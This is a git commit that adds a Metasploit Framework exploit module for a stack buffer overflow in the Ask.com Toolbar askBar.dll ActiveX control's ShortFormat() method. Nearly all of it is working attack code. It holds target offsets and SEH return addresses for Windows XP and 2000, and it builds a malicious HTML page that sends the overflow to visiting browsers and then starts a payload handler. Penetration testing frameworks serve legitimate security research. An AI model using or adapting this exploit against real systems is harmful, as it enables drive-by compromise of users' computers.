added exploit module ask_shortformat.rb.

git-svn-id: file:///home/svn/framework3/trunk@5120 4d416f70-5f16-0410-b530-b9f4589650da
2024-11-12 11:52:01 +01:00 · 2007-09-25 02:02:56 +00:00 · 2007-09-25 02:02:56 +00:00 · c4868b4cb3
commit c4868b4cb3
parent 1527d92154
1 changed files with 98 additions and 0 deletions
--- a/modules/exploits/windows/browser/ask_shortformat.rb
+++ b/modules/exploits/windows/browser/ask_shortformat.rb
@ -0,0 +1,98 @@
+##
+# $Id: ask_shortformat.rb 4953 2007-05-21 20:51:13Z hdm $
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/projects/Framework/
+##
+
+require 'msf/core'
+
+module Msf
+
+class Exploits::Windows::Browser::Ask_Shortformat < Msf::Exploit::Remote
+
+	include Exploit::Remote::HttpServer::HTML
+	include Exploit::Remote::Seh
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Ask.com Toolbar askBar.dll ActiveX Control Buffer Overflow',
+			'Description'    => %q{
+					This module exploits a stack overflow in Ask.com Toolbar 4.0.2.53.
+					An attacker may be able to excute arbitrary code by sending an overly
+					long string to the "ShortFormat()" method in askbar.dll.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         => [ 'MC' ], 
+			'Version'        => '$Revision$',
+			'References'     => 
+				[
+					[ 'URL', 'http://wslabi.com/wabisabilabi/showBidInfo.do?code=ZD-00000148' ],
+				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'process',
+				},
+			'Payload'        =>
+				{
+					'Space'         => 800,
+					'BadChars'      => "\x00\x09\x0a\x0d'\\",
+					'PrepenEncoder' => "\x81\xc4\x54\xf2\xff\xff",	
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'Windows XP SP0/SP1 Pro English',     { 'Offset' => 2876, 'Ret' => 0x71aa32ad } ],
+					[ 'Windows 2000 Pro English ALL',       { 'Offset' => 1716, 'Ret' => 0x75022ac4 } ],
+				],
+			'DisclosureDate' => 'Sep 24 2007',
+			'DefaultTarget'  => 0))
+	end
+
+	def autofilter
+			false
+	end
+
+	def check_dependencies
+			use_zlib
+	end
+
+	def on_request_uri(cli, request)
+		# Re-generate the payload
+		return if ((p = regenerate_payload(cli)) == nil)
+
+		# Randomize some things
+		vname	= rand_text_alpha(rand(100) + 1)
+		strname	= rand_text_alpha(rand(100) + 1)
+		
+		# Set the exploit buffer	
+		filler = rand_text_alpha(target['Offset'])
+		seh = generate_seh_payload(target.ret)
+		sploit = filler + seh + rand_text_alpha(payload.encoded.length) 
+		
+		# Build out the message
+		content = %Q|
+			<html>
+			<object classid='clsid:5A074B2B-F830-49DE-A31B-5BB9D7F6B407' id='#{vname}'></object>
+			<script language='javascript'>
+			#{strname} = new String('#{sploit}');
+			#{vname}.ShortFormat = #{strname}
+			</script>
+			</html>
+                  |
+		
+		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
+
+		# Transmit the response to the client
+		send_response_html(cli, content)
+		
+		# Handle the payload
+		handler(cli)
+	end
+
+end
+end